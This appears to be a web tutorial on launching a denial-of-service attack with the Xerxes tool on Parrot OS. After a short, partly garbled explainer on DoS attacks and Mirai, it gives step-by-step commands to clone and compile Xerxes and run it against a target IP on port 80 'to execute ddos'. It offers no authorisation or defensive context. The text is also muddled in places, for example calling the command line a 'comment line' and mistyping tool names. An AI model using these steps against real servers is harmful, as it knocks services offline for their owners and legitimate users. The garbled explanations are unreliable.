Xerxes DDos Tool to perform DOS Attack
We show you in this Parrot Os tutorial how to use Xerxes to start a DOS attack. DDOS tools are able to put heavy loads on HTTP servers and to put the resources on their knees.
What is a DOS attack?
Type of attack that floods servers or networks to prevent legitimate users from accessing the source. Recently the hackers introduced a new pattern of a DDOS attack called the Pulse Wave, able to pin down Multiple targets.
As the classic DDoS attack, Pulse Wave doesn’t have an explosive time. Inviteflood-Tool used to conduct a DOS attack on VOIP Network.
The Mirai bot used for targeting a college in the USA is continuously longer than 54 hours and the researchers believe it is a new variant of Mirai, “more suited for launching application layer assaults.”Xerxes– Parrot Os Tutorial
To clone the Github tool.
Let’s start to DDOS target ip
1. Go to Terminal
2. git clone https://github.com/zanyarjamal/xerxes.git
3. Now change the directory using ”CD xerxes”
4. Type “ls”
5. Then type “README”
6. Under the comment line [root@parrrot]-[`/Desktop/xerxes] type “$gcc xerxes.c –o xerxes”
i. If you don’t have ggc then you may download it from parrot website, then proceed with “apt-get install gcc;”
ii. sudo apt install gcc make build-essential
Now compile it by doing make xerxes
7. Type “clear” to clean up all the comment
8. Now look for target ip address you wish to DDos by looking up the ip of host
9. Now type xerxes (ip 80) under the comment line [root@parrrot]-[`/Desktop/xerxes]
For an example if your target ip is 188.183.188.188 then you need to type Xerxes “188.183.188.188 80 “to execute ddos.
10. That’s it. Now the target ip receive over load with bulk traffic.
